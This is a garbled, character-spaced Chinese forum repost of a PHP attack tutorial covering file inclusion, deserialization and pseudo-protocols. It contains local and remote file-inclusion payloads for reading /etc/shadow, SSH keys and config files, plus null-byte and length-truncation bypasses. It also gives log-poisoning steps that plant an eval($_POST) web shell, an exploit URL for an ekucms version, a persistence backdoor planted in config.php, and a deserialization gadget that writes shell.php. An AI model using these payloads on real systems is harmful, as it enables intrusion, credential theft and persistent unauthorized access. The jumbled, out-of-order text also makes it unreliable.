搜索

[21777] 2021-03-16_php的一些漏洞梳理

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2021-03-16_php的一些漏洞梳理 p h p 的 一 些 漏 洞 梳 理 L e m o n S e c   2 0 2 1 - 0 3 - 1 6 转 自 安 全 鸭 以 下 主 要 是 近 期 对 p h p 一 些 常 见 漏 洞 的 梳 理 ， 包 含 p h p 文 件 包 含 、 p h p 反 序 列 化 漏 洞 以 及 p h p 伪 协 议 。 其 中   ： 一 、 一 、 p h p 文 件 包 含 漏 洞 文 件 包 含 漏 洞 在 开 发 中 ， 开 发 人 员 会 将 一 些 重 复 使 用 的 代 码 函 数 汇 总 放 到 单 个 文 件 中 ， 需 要 使 用 某 个 函 数 时 直 接 调 用 此 文 件 。 这 个 调 用 过 程 称 为 文 件 包 含 。 为 了 使 代 码 更 灵 活 ， 将 被 包 含 的 文 件 设 置 为 变 量 用 来 进 行 动 态 调 用 。 这 就 导 致 客 户 端 可 以 调 用 一 个 恶 意 文 件 ， 造 成 文 件 包 含 漏 洞 。 文 件 包 含 漏 洞 在 p h p 中 居 多 。 造 成 执 行 任 意 代 码 、 包 含 恶 意 文 件 控 制 网 站 、 敏 感 文 件 读 取 等 危 害 1 . 常 见 包 含 函 数 常 见 包 含 函 数 i n c l u d e ( ) ： 执 行 到 i n c l u d e 时 才 包 含 文 件 ， 找 不 到 被 包 含 文 件 时 产 生 警 告 ， 但 是 脚 本 继 续 执 行 。 r e q u i r e ( ) ： 程 序 一 运 行 就 包 含 文 件 ， 找 不 到 被 包 含 的 文 件 产 生 致 命 错 误 ， 脚 本 停 止 运 行 i n c l u d e _ o n c e & r e q u i r e _ o n c e ( ) ： 这 两 个 函 数 行 为 与 i n c l u d e / r e q u i r e 类 似 ， 区 别 在 于 他 们 只 做 一 次 包 含 ， 即 如 果 文 件 中 代 码 已 经 被 包 含 则 不 会 再 次 被 包 含 2 . 利 用 条 件 利 用 条 件 程 序 用 i n c l u d e ( ) 等 文 件 包 含 函 数 通 过 动 态 变 量 的 方 式 引 入 需 要 包 含 的 文 件 用 户 能 够 控 制 该 动 态 变 量 配 置 文 件 p h p . i n i 中 参 数 a l l o w _ u r l _ f o p e n = o p e n ， 此 参 数 默 认 为 o p e n 远 程 包 含 则 需 要 p h p . i n i 中 参 数 a l l o w _ u r l _ i n c l u d e = o p e n ， 此 参 数 默 认 为 c l o s e 3 . 包 含 分 类 包 含 分 类 本 地 文 件 包 含 ： 上 传 带 有 s h e l l 代 码 的 任 意 格 式 文 件 ， 利 用 文 件 包 含 漏 洞 将 该 文 件 当 作 脚 本 格 式 解 析 。 远 程 文 件 包 含 ： 在 远 程 服 务 器 上 放 置 大 马 以 此 绕 过 杀 软 提 权 #   p h p 反 序 列 参 考 链 接 ： h t t p s : / / w w w . c n b l o g s . c o m / x i a o q i y u e / p / 1 0 9 5 1 8 3 6 . h t m l #   p h p 伪 协 议 参 考 链 接 ： h t t p s : / / w w w . c n b l o g s . c o m / e n d u s t / p / 1 1 8 0 4 7 6 7 . h t m l
4 . 利 用 方 法 利 用 方 法 包 含 日 志 文 件 g e t s h e l l 包 含 d a t a : 或 p h p : / / i n p u t 等 伪 协 议 若 有 p h p i n f o 则 可 以 包 含 临 时 文 件 如 果 一 个 网 站 有 文 件 包 含 但 是 无 法 g e t s h e l l ， 尝 试 在 旁 站 上 上 传 图 片 马 ， 然 后 进 行 文 件 包 含 拿 s h e l l 5 . 实 例 实 例 假 如 目 标 网 站 有 n e w s . p h p 文 件 ， 文 件 内 容 为 ： 此 时 该 文 件 存 在 文 件 包 含 漏 洞 。 i n c l u d e 函 数 通 过 动 态 变 量 的 方 式 引 入 需 要 包 含 的 文 件 ， 若 用 户 能 控 制 该 变 量 ； 在 同 级 目 录 下 上 传 t e s t . t x t 文 件 , 内 容 为 ： 此 时 访 问 测 试 ： h t t p : / / 1 9 2 . 1 6 8 . 1 . 3 / f i l e i n c l u d e / n e w s . p h p ? i d = t e s t . t x t 。 将 t e s t . t x t 文 件 传 送 给 i d 参 数 并 复 制 给 t e s t 变 量 ， 然 后 t x t 文 件 被 当 作 p h p 脚 本 脚 本 文 件 执 行 。 同 时 也 可 以 任 意 包 含 ， 根 据 物 理 路 径 读 取 服 务 器 敏 感 文 件 ： < ? p h p $ t e s t = $ _ G E T [ ' i d ' ] ;       i n c l u d e ( $ t e s t ) ; ? > < ? p h p   p h p i n f o ( ) ? > #   常 见 敏 感 文 件 l h t t p : / / 1 9 2 . 1 6 8 . 1 . 3 / f i l e i n c l u d e / n e w s . p h p ? i d = c : 1 . t x t w w w . t e s t . c o m / t e s t . p h p ? t e s t = . . / . . / . . / . . / . . / e t c / p a s s w o d w w w . t e s t . c o m / t e s t . p h p ? t e s t = / e t c / s h a d o w w w w . t e s t . c o m / t e s t . p h p ? t e s t = / e t c / p h p 5 / a p a c h e 2 / p h p . i n i w w w . t e s t . c o m / t e s t . p h p ? t e s t = / e t c / m y s q l / m y . c n f w w w . t e s t . c o m / t e s t . p h p ? t e s t = / e t c / a p a c h e 2 / a p a c h e 2 . c o n f - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - w i n d o w s 敏 感 文 件 ： c : b o o t . i n i #   查 看 系 统 版 本 c : w i n d o w s s y s t e m 3 2 i n e t s r v m e t a b a s e . x m l #   查 看 i i s 配 置 文 件 c : w i n d o w s r e p a i r s a m #   存 储 系 统 初 次 安 装 的 密 码 c : p r o g r a m   f i l e s m y s q l m y . i n i #   m y s q l 配 置 文 件 c : p r o g r a m   f i l e s m y s q l d a t a m y s q l u s e r . m y d
6 . 附 加 后 缀 截 断 附 加 后 缀 截 断 例 如 包 含 读 取 / e t c / p a s s w d 文 件 ， 网 站 源 码 会 给 一 个 后 缀 形 成 如 ： / e t c / p a s s w d . p h p , 导 致 无 法 读 取 文 件 内 容 。 具 体 代 码 如 下 ， 此 时 该 代 码 存 在 文 件 包 含 漏 洞 ， 由 于 在 漏 洞 利 用 被 包 含 的 文 件 会 被 添 加 上 . p h p 后 缀 ， 无 法 直 接 利 用 。 绕 过 方 法 一 ： 绕 过 方 法 一 ： % 0 0 截 断 截 断 c : p r o g r a m   f i l e s m y s q l d a t a m y s q l u s e r . m y d #   m y s q l   r o o t 密 码 c : w i n d o w s p h p . i n i #   p h p 配 置 信 息 c : w i n d o w s m y . i n i #   m y s q l 配 置 信 息 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - / r o o t / . s s h / a u t h o r i z e d _ k e y s / r o o t / . s s h / i d _ r s a / r o o t / . s s h / i d _ r a s . k e y s t o r e / r o o t / . s s h / k n o w n _ h o s t s / e t c / p a s s w d / e t c / s h a d o w / e t c / m y . c n f / e t c / h t t p d / c o n f / h t t p d . c o n f / r o o t / . b a s h _ h i s t o r y / r o o t / . m y s q l _ h i s t o r y / p r o c / s e l f / f d / f d [ 0 - 9 ] * ( 文 件 标 识 符 ) / p r o c / m o u n t s / p o r c / c o n f i g . g z < ? p h p $ t e s t = $ _ G E T [ ' i d ' ] ;       i n c l u d e ( $ t e s t ) . ' . p h p ' ; ? > h t t p : / / w w w . t e s t . c o m / t e s t / a . p h p ? c = 1 . t x t % 0 0
注 意 注 意 ： % 0 0 截 断 包 含 适 合 p h p 版 本 < 5 . 3 . 4 ， 对 应 版 本 的 配 置 文 件 m a g i c _ q u o t e s _ g p s = o f f ， 才 能 够 进 行 绕 过 ， 否 则 % 0 0 会 被 转 义 。 绕 过 方 法 二 ： 绕 过 方 法 二 ： 文 件 名 附 加 文 件 名 附 加 . / . / . / . / . / . 进 行 长 度 截 断 进 行 长 度 截 断 注 意 ： W i n d o w s 服 务 器 字 节 长 度 应 大 于 2 5 6 ， L i n u x 要 大 于 4 0 9 6 7 . 包 含 日 志 拿 包 含 日 志 拿 s h e l l 拿 拿 s h e l l 步 骤 步 骤 访 问 . . / f i l e . p h p ? i d = 1 < ? p h p   @ e v a l ( $ _ P O S T [ a ] ) ; ? > 后 台 在 / v a r / l o g / h t t p d / a c e s s _ l o g   会 生 成 带 有 一 句 话 的 日 志 ， 相 当 与 将 一 句 话 以 . l o g 形 式 写 入 了 网 站 目 录 然 后 根 据 文 件 包 含 漏 洞 > 连 接 . . / f i l e . p h p ? f i l e = … / … / … / … / v a r / l o g / h t t p d / a c e s s _ l o g ， g e t s h e l l 实 例 ： 实 例 ： e k u c m s 某 版 本 存 在 文 件 包 含 漏 洞 ① 通 过 访 问 该 u r l ， 将 一 句 话 木 马 写 入 日 志 文 件 中 h t t p : / / w w w . t e s t . c o m / t e s t / a . p h p ? c = 1 . t x t / . / . / . / . / . / . / . / . / . / . / . / . / . / . / . / . / . / . / . . . . # 文 件 包 含 漏 洞 读 取 a p a c h e 配 置 文 件 i n d e x . p h p ? p a g e = / e t c / i n i t . d / h t t p d i n d e x . p h p ? p a g e = / e t c / h t t p d / c o n f / h t t p d . c o n f # L i n u x 默 认 访 问 u r l 的 日 志 / v a r / l o g / h t t p d / a c c e s s _ l o g   # 网 站 访 问 日 志 无 权 限 访 问 ， 但 是 c m s 本 身 会 记 录 错 误 日 志 ， 这 种 日 志 可 以 访 问 h t t p : / / 1 9 2 . 1 6 8 . 1 . 3 / e k u c m s 2 . 4 . 1 / ? s = m y / s h o w / i d / { ~ e v a l ( $ _ P O S T [ x ] ) }
② 该 日 志 是 以 时 间 日 期 命 名 的 ， 用 菜 刀 连 接 该 日 志 文 件 ， 得 到 s h e l l 8 . 读 源 代 码 读 源 代 码 直 接 读 取 p h p 文 件 返 回 的 是 代 码 编 译 解 析 后 的 结 果 ， 并 不 能 看 到 源 代 码 。 此 时 可 以 使 用 封 装 伪 协 议 读 取 ： h t t p : / / 1 9 2 . 1 6 8 . 1 . 3 / e k u c m s 2 . 4 . 1 / ? s = m y / s h o w / i d / . . t e m p l o g s 2 0 _ 0 5 _ 1 8 . l o g h t t p : / / 1 9 2 . 1 6 8 . 1 . 3 / n e w s . p h p ? i d = s h e l l . p h p h t t p : / / 1 9 2 . 1 6 8 . 1 . 3 / n e w s . p h p ? i d = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = s h e l l . p h p / / 核 心 代 码 ： i d = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = / / 读 出 源 代 码 ， 原 理 是 将 文 件 内 容 进 行 b a s e 6 4 加 密 ， 使 代 码 不 运 行 解 析 ， 直 接 读 出 源 代 码 。
9 . 远 程 文 件 包 含 远 程 文 件 包 含 远 程 文 件 包 含 文 件 名 不 能 为 p h p 可 解 析 的 扩 展 名 。 另 外 远 程 文 件 包 含 要 确 保 p h p . i n i 中 a l l o w _ u r l _ f o p e n 和 a l l o w _ u r l _ i n c l u d e 状 态 为 o n 。 为 躲 避 杀 软 将 大 马 放 到 自 己 的 v p s 上 然 后 远 程 包 含 。 远 程 包 含 限 制 绕 过 后 缀 名 限 制 ： 远 程 包 含 限 制 绕 过 后 缀 名 限 制 ： 与 本 地 包 含 类 似 ， 如 果 源 码 存 在 后 缀 名 限 制 ， 直 接 进 行 远 程 包 含 的 话 会 报 错 如 下 ： 绕 过 方 法 ： 绕 过 方 法 ： h t t p : / / 1 9 2 . 1 6 8 . 1 . 3 / 1 . p h p ? f i l e = h t t p : / / w w w . x x x x . c o m / 1 . p n g # 源 代 码 < ? p h p   i n c l u d e ( $ _ G E T [ ' f i l e n a m e ' ]   .   " . h t m l " ) ;   ? > f i l e n a m e = h t t p : / / w w w . x x x . c o m / F I / p h p . t x t ? f i l e n a m e = h t t p : / / w w w . x x x . c o m / F I / p h p . t x t % 2 3 f i l e n a m e = h t t p : / / w w w . x x x i 8 . c o m / F I / p h p . t x t % 2 0 f i l e n a m e = h t t p : / / w w w . x x x . c o m / F I / p h p . t x t % 0 0
利 用 远 程 文 件 包 含 进 行 权 限 维 持 利 用 远 程 文 件 包 含 进 行 权 限 维 持 i n c l u d e 代 码 不 会 报 毒 。 所 以 我 们 在 g e t s h e l l 后 在 网 站 配 置 文 件 中 写 入 包 含 代 码 ( 如 ： c o n f i g . p h p , < ? p h p i n c l u d e ( $ _ G E T [ ' x ' ] ) ; ? > 管 理 员 一 般 不 会 修 改 配 置 文 件 源 代 码 ) 里 面 插 入 文 件 包 含 代 码 。 如 果 目 标 a l l o w _ u r l _ f o p e n 和 a l l o w _ u r l _ i n c l u d e 状 态 都 为 o n 。 既 可 以 永 久 进 行 远 程 包 含 ， 达 到 权 限 维 持 的 目 的 。 二 、 漏 洞 梳 理 篇 之 二 、 漏 洞 梳 理 篇 之 p h p 反 序 列 化 漏 洞 反 序 列 化 漏 洞 1 . 序 列 化 函 数 序 列 化 函 数 s e r i a l i z e ( ) 序 列 化 的 目 的 是 方 便 数 据 的 传 输 和 存 储 。 当 在 p h p 中 创 建 了 一 个 对 象 后 ， 可 以 通 过 s e r i a l i z e ( ) 函 数 把 这 个 对 象 转 变 成 一 个 字 符 串 ， 保 存 对 象 的 值 方 便 之 后 的 传 递 与 使 用 。 测 试 代 码 如 下 ； 代 码 执 行 输 出 结 果 ： O : 7 : “ c h y b e t a ” : 1 : { s : 4 : “ t e s t ” ; s : 3 : “ 1 2 3 ” ; } 返 回 结 果 中 各 字 符 的 含 义 分 别 为 ： < ? p h p c l a s s   c h y b e t a {         v a r   $ t e s t   =   ' 1 2 3 ' ; } $ c l a s s 1   =   n e w   c h y b e t a ; $ c l a s s 1 _ s e r   =   s e r i a l i z e ( $ c l a s s 1 ) ; p r i n t _ r ( $ c l a s s 1 _ s e r ) ; ? > # 创 建 一 个 对 象 ， 然 后 序 列 化 并 输 出 O     代 表 存 储 的 是 对 象 （ o b j e c t ） , 假 如 你 给 s e r i a l i z e ( ) 传 入 的 是 一 个 数 组 ， 那 它 会 变 成 字 母 a 。 7     表 示 对 象 的 名 称 有 7 个 字 符 。 " c h y b e t a " 表 示 对 象 的 名 称 。 1     表 示 有 一 个 值         { s : 4 : " t e s t " ; s : 3 : " 1 2 3 " ; } 中 ，
2 . 反 序 列 化 函 数 反 序 列 化 函 数 u n s e r i a l i z e ( ) 与   s e r i a l i z e ( )   对 应 的 ， u n s e r i a l i z e ( ) 可 以 从 已 存 储 的 表 示 中 创 建 P H P 的 值 ， 单 就 本 次 所 关 心 的 环 境 而 言 ， 可 以 从 序 列 化 后 的 结 果 中 恢 复 对 象 。 测 试 代 码 ： 执 行 结 果 ： 当 传 给 u n s e r i a l i z e ( ) 函 数 的 参 数 可 控 时 ， 我 们 可 以 通 过 传 入 一 个 精 心 构 造 的 序 列 化 字 符 串 ， 从 而 控 制 对 象 内 部 的 变 量 甚 至 是 函 数 。         { s : 4 : " t e s t " ; s : 3 : " 1 2 3 " ; } 中 ，         s     表 示 字 符 串         4     表 示 该 字 符 串 的 长 度 ，         " t e s t "     为 字 符 串 的 名 称         " 1 2 3 "       为 字 符 串 的 内 容 < ? p h p c l a s s   c h y b e t a {         v a r   $ t e s t   =   ' 1 2 3 ' ; } $ c l a s s 2   =   ' O : 7 : " c h y b e t a " : 1 : { s : 4 : " t e s t " ; s : 3 : " 1 2 3 " ; } ' ;         p r i n t _ r ( $ c l a s s 2 ) ; e c h o   " < / b r > " ; $ c l a s s 2 _ u n s e r   =   u n s e r i a l i z e ( $ c l a s s 2 ) ; p r i n t _ r ( $ c l a s s 2 _ u n s e r ) ; ? > # 给 定 一 串 序 列 化 后 的 字 符 将 其 反 序 列 化 并 打 印
3 . p h p 反 序 列 化 漏 洞 反 序 列 化 漏 洞 由 于 未 对 用 户 输 入 的 序 列 化 字 符 串 进 行 检 测 ， 导 致 攻 击 者 控 制 反 序 列 化 过 程 ， 从 而 导 致 代 码 执 行 ， S Q L 注 入 ， 目 录 遍 历 等 不 可 控 后 果 。 漏 洞 触 发 条 件 ： 漏 洞 触 发 条 件 ： u n s e r i a l i z e 函 数 的 变 量 可 控 p h p 文 件 中 存 在 可 利 用 的 类 类 中 有 魔 术 方 法 。 p h p 中 有 一 类 特 殊 的 方 法 叫 “ M a g i c   f u n c t i o n ” ， 在 反 序 列 化 的 过 程 中 会 自 动 触 发 这 些 魔 术 方 法 。 _ _ c o n s t r u c t ( ) ： 当 对 象 创 建 ( n e w ) 时 会 自 动 调 用 。 但 在 u n s e r i a l i z e ( ) 时 是 不 会 自 动 调 用 的 _ _ d e s t r u c t ( ) ： 当 对 象 被 销 毁 时 会 自 动 调 用 _ _ w a k e u p ( )   ： u n s e r i a l i z e ( ) 时 会 自 动 调 用 u n s e r i a l i z e ( ) 导 致 _ _ w a k e u p ( ) 或 _ _ d e s t r u c t ( ) 的 直 接 调 用 ， 中 间 无 需 其 他 过 程 。 因 此 最 理 想 的 情 况 就 是 一 些 漏 洞 / 危 害 代 码 存 在 于 _ _ w a k e u p ( ) 或 _ _ d e s t r u c t ( ) 等 构 造 函 数 中 ， 当 我 们 控 制 序 列 化 字 符 串 时 可 以 去 直 接 触 发 它 们 。 针 对   _ _ w a k e u p ( )   场 景 实 验 ， 序 列 化 漏 洞 代 码 如 下 ： 反 序 列 化 漏 洞 思 路 反 序 列 化 漏 洞 思 路 1 . 本 地 搭 建 好 环 境 后 ， 通 过   s e r i a l i z e ( )   得 到 我 们 要 的 序 列 化 字 符 串 ， 例 如 这 里 序 列 化 p h p i n f o 得 到 序 列 化 内 容 为 ： O : 7 : “ c h y b e t a ” : 1 : { s : 4 : “ t e s t ” ; s : 1 9 : " < ? p h p   p h p i n f o ( ) ;   ? > " ; } 2 . 执 行 含 有 p h p 反 序 列 化 漏 洞 的 代 码 ， 即 访 问 h t t p : / / l o c a l h o s t / i n d e x . p h p ? t e s t = O : 7 : % 2 2 c h y b e t a % 2 2 : 1 : < ? p h p c l a s s   c h y b e t a {         v a r   $ t e s t   =   ' 1 2 3 ' ;         f u n c t i o n   _ _ w a k e u p ( ) {                 $ f p   =   f o p e n ( " s h e l l . p h p " , " w " )   ;                 f w r i t e ( $ f p , $ t h i s - > t e s t ) ;                 f c l o s e ( $ f p ) ;         } } $ c l a s s 3   =   $ _ G E T [ ' t e s t ' ] ; p r i n t _ r ( $ c l a s s 3 ) ; e c h o   " < / b r > " ; $ c l a s s 3 _ u n s e r   =   u n s e r i a l i z e ( $ c l a s s 3 ) ; ? >
{ s : 4 : % 2 2 t e s t % 2 2 ; s : 1 9 : % 2 2 % 3 C ? p h p % 2 0 p h p i n f o ( ) ; ? % 3 E % 2 2 ; } 3 . 通 过 源 代 码 知 ， 把 对 象 中 的 t e s t 值 赋 为   “ < ? p h p   p h p i n f o ( ) ;   ? > ” , 调 用 u n s e r i a l i z e ( ) 函 数 ， 通 过 _ _ w a k e u p ( ) 执 行 代 码 将 传 入 的 参 数 进 行 反 序 列 化 处 理 如 下 图 ， 成 功 显 示 了 p h p i n f o 页 面 ： 在 反 序 列 化 该 数 据 时 ， 自 动 触 发 了 构 造 函 数 , 执 行 p h p i n f o ( ) : 三 、 漏 洞 梳 理 篇 之 三 、 漏 洞 梳 理 篇 之 p h p 伪 协 议 伪 协 议 1 . 环 境 概 要 ： 环 境 概 要 ： P H P 伪 协 议 指 的 是 P H P 所 支 持 的 协 议 与 封 装 协 议 ， 在 w e b 渗 透 漏 洞 利 用 中 常 用 于 配 合 文 件 包 含 进 行 w e b 攻 击 ， 从 而 获 取 网 站 权 限 。 ① ① p h p . i n i 配 置 文 件 参 数 ： 配 置 文 件 参 数 ： a l l o w _ u r l _ f o p e n   ： o n   # 默 认 开 启   ， 表 示 允 许 u r l 里 的 封 装 协 议 访 问 文 件 ； a l l o w _ u r l _ i n c l u d e ： o f f     # 默 认 关 闭 ， 表 示 不 允 许 包 含 u r l 里 的 封 装 协 议 包 含 文 件 ； ② 常 用 伪 协 议 条 件 及 方 法 ② 常 用 伪 协 议 条 件 及 方 法
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理